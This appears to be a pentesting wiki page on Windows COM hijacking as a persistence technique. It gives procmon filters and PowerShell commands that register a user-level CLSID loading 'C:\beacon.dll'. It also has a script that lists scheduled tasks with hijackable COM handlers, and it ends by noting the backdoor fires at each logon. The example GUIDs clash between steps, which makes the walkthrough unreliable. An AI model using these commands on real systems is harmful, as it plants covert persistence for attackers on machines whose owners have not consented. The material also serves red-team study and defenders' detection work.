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COM Hijacking ​

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Searching not existent COM components ​

As the values of HKCU can be modified by the users COM Hijacking could be used as a persistent mechanisms. Using procmon it's easy to find searched COM registries that doesn't exist that an attacker could create to persist. Filters:

  • RegOpenKey operations.
  • where the Result is NAME NOT FOUND.
  • and the Path ends with InprocServer32.

Once you have decided which not existent COM to impersonate execute the following commands. Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill.

bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Hijackable Task Scheduler COM components ​

Windows Tasks use Custom Triggers to call COM objects and because they're executed through the Task Scheduler, it's easier to predict when they're gonna be triggered.

# Show COM CLSIDs
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      $usersSid = "S-1-5-32-545"
      $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

      if ($Task.Principal.GroupId -eq $usersGroup)
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}

# Sample Output:
# Task Name:  Example
# Task Path:  \Microsoft\Windows\Example\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]

Checking the output you can select one that is going to be executed every time a user logs in for example.

Now searching for the CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} in HKEY_CLASSES_ROOT\CLSID and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU.

bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
               ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired.

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